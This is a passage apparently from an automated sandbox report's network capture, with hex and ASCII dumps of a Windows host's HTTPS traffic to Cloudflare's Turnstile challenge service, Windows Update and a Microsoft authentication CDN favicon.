2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 6e 3a 61 6c 6c 20 2e 31 73 20 65 61 73 65 2d 69 6e 3b 77 69 64 74 68 3a 32 34 70 78 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 38 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 6c 62 2d 74 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c Data Ascii: n:all .1s ease-in;width:24px;z-index:9998}.cb-lb .cb-i:after{border-radius:5px;content:"";position:absolute}.cb-lb .cb-lb-t{grid-column:2;margin-left:8px}.size-compact{font-size:14px}.size-compact #content{align-items:flex-start;display:flex;flex-flow:col
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 72 74 6c 7d 2e 72 74 6c 20 2e 63 62 2d 6c 62 2d 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 2c 2e 72 74 6c 20 23 66 61 69 6c 2d 69 2c 2e 72 74 6c 20 23 6f 76 65 72 72 75 6e 2d 69 2c 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 2c 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 2c 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 Data Ascii: rtl}.rtl .cb-lb-t{margin-left:0;margin-right:8px;padding:0}.rtl #expired-i,.rtl #fail-i,.rtl #overrun-i,.rtl #spinner-i,.rtl #success-i,.rtl #timeout-i{left:255px}.rtl #fr-helper{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px
2024-10-01 13:08:12 UTC	1369	IN	Data Raw: 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c Data Ascii: challenge-error-title a{color:#232323}#challenge-error-title a:active,#challenge-error-title a:focus,#challenge-error-title a:hover{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#chall

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49736	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:12 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3y3cV+h8BYDcf34&MD=uZvYf9+9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-01 13:08:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e59b8900-cf3d-435f-84ee-5882524c378a MS-RequestId: 0fefd920-73e0-4316-bb45-89a9df5410e1 MS-CV: //QA78NrcUGY5plG.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 01 Oct 2024 13:08:11 GMT Connection: close Content-Length: 24490
2024-10-01 13:08:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-01 13:08:12 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49745	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:12 UTC	731	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cbcae183e2342bd&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:13 UTC	301	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:12 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121286 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cbcae1cec3a4259-EWR
2024-10-01 13:08:13 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 20 66 65 65 64 62 61 63 6b 20 72 65 70 6f 72 74 20 68 61 73 20 62 65 65 6e 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 Data Ascii: if%20this%20problem%20persists.","testing_only":"Testing%20only.","turnstile_feedback_description":"Send%20Feedback","turnstile_success":"Success%21","feedback_report_output_subtitle":"Your feedback report has been successfully submitted","turnstile_feedb
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 48 28 31 33 30 35 29 29 2f 31 31 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 34 38 38 33 34 38 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 31 34 39 35 29 5d 2c 65 4d 5b 67 49 28 39 35 36 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 49 28 34 35 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 30 29 7b 69 66 28 68 30 3d 67 49 2c 65 4d 5b 68 30 28 39 35 36 29 5d 29 72 65 74 75 72 6e 3b 65 4d 5b 68 30 28 39 35 36 29 5d 3d 21 21 5b 5d 7d 2c 65 55 3d 30 2c 65 4e 5b 67 49 28 31 31 34 35 29 5d 3d 3d 3d 67 49 28 36 32 31 29 3f 65 4e 5b 67 49 28 38 37 34 29 5d 28 67 49 28 36 38 32 29 2c 66 75 6e 63 Data Ascii: H(1305))/11,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,488348),eM=this\|\|self,eN=eM[gI(1495)],eM[gI(956)]=![],eM[gI(458)]=function(h0){if(h0=gI,eM[h0(956)])return;eM[h0(956)]=!![]},eU=0,eN[gI(1145)]===gI(621)?eN[gI(874)](gI(682),func
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 68 4e 28 31 32 32 39 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 73 28 6f 5b 68 4e 28 31 32 32 39 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 4d 29 7b 68 4d 3d 62 2c 4f 62 6a 65 63 74 5b 68 4d 28 31 32 30 31 29 5d 5b 68 4d 28 31 31 39 35 29 5d 5b 68 4d 28 31 36 34 35 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 68 4d 28 31 30 39 37 29 5d 28 47 29 7d 7d 2c 66 77 3d 67 49 28 31 35 31 33 29 5b 67 49 28 33 38 31 29 5d 28 27 3b 27 29 2c 66 78 3d 66 77 5b 67 49 28 33 30 32 29 5d 5b 67 49 28 31 32 32 38 29 5d 28 66 77 29 2c 65 4d 5b 67 49 28 39 39 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 68 50 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 68 50 Data Ascii: hN(1229)](i,D),h[D])):s(o[hN(1229)](i,D),E),C++);return j;function s(G,H,hM){hM=b,Object[hM(1201)][hM(1195)][hM(1645)](j,H)\|\|(j[H]=[]),j[H][hM(1097)](G)}},fw=gI(1513)[gI(381)](';'),fx=fw[gI(302)][gI(1228)](fw),eM[gI(998)]=function(g,h,hP,i,j,k,l,m){for(hP
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 2c 6d 29 7b 69 66 28 69 31 3d 69 30 2c 68 3d 7b 7d 2c 68 5b 69 31 28 31 30 39 32 29 5d 3d 65 5b 69 31 28 31 31 38 32 29 5d 2c 69 3d 68 2c 65 4d 5b 65 5b 69 31 28 36 35 38 29 5d 5d 29 7b 69 66 28 69 31 28 31 34 31 39 29 21 3d 3d 69 31 28 31 34 31 39 29 29 7b 74 72 79 7b 6b 3d 7b 7d 2c 6b 5b 69 31 28 32 36 35 29 5d 3d 69 5b 69 31 28 31 30 39 32 29 5d 2c 6c 3d 6d 5b 69 31 28 31 31 33 38 29 5d 28 6e 65 77 20 6e 28 5b 69 31 28 32 32 30 29 5d 2c 6b 29 29 2c 6d 3d 6e 65 77 20 6f 28 6c 29 2c 73 5b 69 31 28 37 37 35 29 5d 28 6c 29 2c 6d 5b 69 31 28 31 34 31 36 29 5d 28 29 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 21 21 5b 5d 7d 69 66 28 21 6c 5b 69 31 28 36 30 32 29 5d 29 72 65 74 75 72 6e 21 21 5b 5d 7d 65 6c 73 65 20 65 4d 5b 69 31 28 39 35 35 29 5d 5b 69 Data Ascii: ,m){if(i1=i0,h={},h[i1(1092)]=e[i1(1182)],i=h,eM[e[i1(658)]]){if(i1(1419)!==i1(1419)){try{k={},k[i1(265)]=i[i1(1092)],l=m[i1(1138)](new n([i1(220)],k)),m=new o(l),s[i1(775)](l),m[i1(1416)]()}catch(n){return!![]}if(!l[i1(602)])return!![]}else eM[i1(955)][i
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 31 31 31 34 29 5d 29 2c 65 4d 5b 69 32 28 36 32 37 29 5d 5b 69 32 28 31 35 30 32 29 5d 29 2c 27 2f 27 29 2c 65 4d 5b 69 32 28 36 32 37 29 5d 5b 69 32 28 31 31 36 30 29 5d 29 2c 27 2f 27 29 2c 65 4d 5b 69 32 28 36 32 37 29 5d 5b 69 32 28 38 30 31 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 78 3d 6b 5b 69 32 28 35 31 35 29 5d 28 69 2c 6b 5b 69 32 28 36 36 37 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 46 5b 69 32 28 31 36 35 32 29 5d 28 42 2c 73 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 42 3d 69 32 28 31 35 34 36 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 46 5b 69 32 28 37 37 31 29 5d 28 6b 5b 69 32 28 31 32 39 38 29 5d 28 6b 5b 69 32 28 37 38 32 29 5d 28 6b 5b 69 32 28 34 39 Data Ascii: 1114)]),eM[i2(627)][i2(1502)]),'/'),eM[i2(627)][i2(1160)]),'/'),eM[i2(627)][i2(801)]);continue;case'2':x=k[i2(515)](i,k[i2(667)]);continue;case'3':F[i2(1652)](B,s,!![]);continue;case'4':B=i2(1546);continue;case'5':F[i2(771)](k[i2(1298)](k[i2(782)](k[i2(49
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 32 29 5d 28 69 34 28 33 30 31 29 2c 6a 5b 69 34 28 31 35 33 38 29 5d 29 29 3f 65 4d 5b 69 34 28 31 35 30 35 29 5d 28 29 3a 28 6f 3d 7b 7d 2c 6f 5b 69 34 28 31 36 36 36 29 5d 3d 69 34 28 34 35 36 29 2c 6f 5b 69 34 28 38 37 33 29 5d 3d 66 5b 69 34 28 36 32 37 29 5d 5b 69 34 28 31 30 35 38 29 5d 2c 6f 5b 69 34 28 32 33 31 29 5d 3d 69 34 28 32 35 34 29 2c 65 5b 69 34 28 33 33 38 29 5d 5b 69 34 28 31 34 31 35 29 5d 28 6f 2c 27 2a 27 29 29 7d 2c 31 65 33 29 3a 6a 5b 69 33 28 31 34 35 38 29 5d 28 6a 5b 69 33 28 37 39 32 29 5d 2c 69 33 28 31 35 33 35 29 29 3f 28 6f 3d 65 5b 69 33 28 36 32 37 29 5d 5b 69 33 28 31 31 36 37 29 5d 5b 69 33 28 35 39 33 29 5d 28 69 33 28 31 36 39 39 29 29 2c 6f 26 26 6f 5b 69 33 28 38 37 34 29 5d 28 69 33 28 34 38 35 29 2c 66 75 6e 63 Data Ascii: 2)](i4(301),j[i4(1538)]))?eM[i4(1505)]():(o={},o[i4(1666)]=i4(456),o[i4(873)]=f[i4(627)][i4(1058)],o[i4(231)]=i4(254),e[i4(338)][i4(1415)](o,'*'))},1e3):j[i3(1458)](j[i3(792)],i3(1535))?(o=e[i3(627)][i3(1167)][i3(593)](i3(1699)),o&&o[i3(874)](i3(485),func
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 3d 7b 7d 2c 67 45 5b 67 49 28 31 31 32 36 29 5d 3d 21 5b 5d 2c 67 45 5b 67 49 28 31 32 33 31 29 5d 3d 66 46 2c 67 45 5b 67 49 28 38 36 37 29 5d 3d 67 73 2c 67 45 5b 67 49 28 32 35 35 29 5d 3d 67 78 2c 67 45 5b 67 49 28 33 37 34 29 5d 3d 67 79 2c 67 45 5b 67 49 28 36 39 35 29 5d 3d 67 74 2c 67 45 5b 67 49 28 31 31 36 34 29 5d 3d 67 7a 2c 67 45 5b 67 49 28 31 33 34 37 29 5d 3d 67 77 2c 67 45 5b 67 49 28 35 39 35 29 5d 3d 67 76 2c 67 45 5b 67 49 28 36 31 36 29 5d 3d 66 52 2c 67 45 5b 67 49 28 33 30 35 29 5d 3d 67 72 2c 67 45 5b 67 49 28 31 32 33 35 29 5d 3d 67 71 2c 67 45 5b 67 49 28 38 34 37 29 5d 3d 66 4a 2c 67 45 5b 67 49 28 31 30 31 32 29 5d 3d 67 36 2c 67 45 5b 67 49 28 35 32 36 29 5d 3d 67 37 2c 67 45 5b 67 49 28 31 32 31 31 29 5d 3d 67 68 2c 67 45 5b Data Ascii: ={},gE[gI(1126)]=![],gE[gI(1231)]=fF,gE[gI(867)]=gs,gE[gI(255)]=gx,gE[gI(374)]=gy,gE[gI(695)]=gt,gE[gI(1164)]=gz,gE[gI(1347)]=gw,gE[gI(595)]=gv,gE[gI(616)]=fR,gE[gI(305)]=gr,gE[gI(1235)]=gq,gE[gI(847)]=fJ,gE[gI(1012)]=g6,gE[gI(526)]=g7,gE[gI(1211)]=gh,gE[
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 6d 71 44 27 3a 6a 50 28 37 32 36 29 2c 27 45 4a 47 49 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 78 50 6b 6d 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4c 73 5a 72 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 43 63 75 52 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6e 74 52 4a 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 76 71 4d 61 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 68 43 58 61 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 4c Data Ascii: mqD':jP(726),'EJGIK':function(h,i){return h>i},'xPkme':function(h,i){return h<i},'LsZrB':function(h,i){return h(i)},'CcuRg':function(h,i){return h>i},'ntRJZ':function(h,i){return h\|i},'vqMaj':function(h,i){return h<<i},'hCXaq':function(h,i){return h>i},'L
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 6a 2c 6f 2c 6a 52 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 55 2c 52 2c 53 2c 54 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 29 7b 69 66 28 6a 52 3d 6a 50 2c 73 3d 7b 27 74 6a 6f 74 71 27 3a 6a 52 28 33 33 38 29 2c 27 5a 44 42 78 63 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 21 3d 3d 52 7d 2c 27 6f 4c 74 68 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 6a 53 29 7b 72 65 74 75 72 6e 20 6a 53 3d 6a 52 2c 64 5b 6a 53 28 32 38 35 29 5d 28 51 29 7d 2c 27 53 56 53 73 46 27 3a 64 5b 6a 52 28 38 36 32 29 5d 7d 2c 64 5b 6a 52 28 32 34 39 29 5d 28 6e 75 6c 6c 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 42 3d 7b 7d 2c 43 3d 7b 7d 2c 44 3d 27 27 2c 45 3d 32 2c 46 3d 33 2c 47 3d 32 2c 48 3d 5b 5d 2c 49 3d 30 2c 4a 3d Data Ascii: j,o,jR,s,x,B,C,D,E,F,G,H,I,J,K,U,R,S,T,L,M,N,O,P){if(jR=jP,s={'tjotq':jR(338),'ZDBxc':function(Q,R){return Q!==R},'oLthl':function(Q,jS){return jS=jR,d[jS(285)](Q)},'SVSsF':d[jR(862)]},d[jR(249)](null,i))return'';for(B={},C={},D='',E=2,F=3,G=2,H=[],I=0,J=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49743	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:12 UTC	406	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:13 UTC	720	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16529371 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Tue, 01 Oct 2024 13:08:13 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (lhc/7944) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1c016ee5-901e-008a-08ad-7d0366000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2024-10-01 13:08:13 UTC	16383	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-01 13:08:13 UTC	791	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 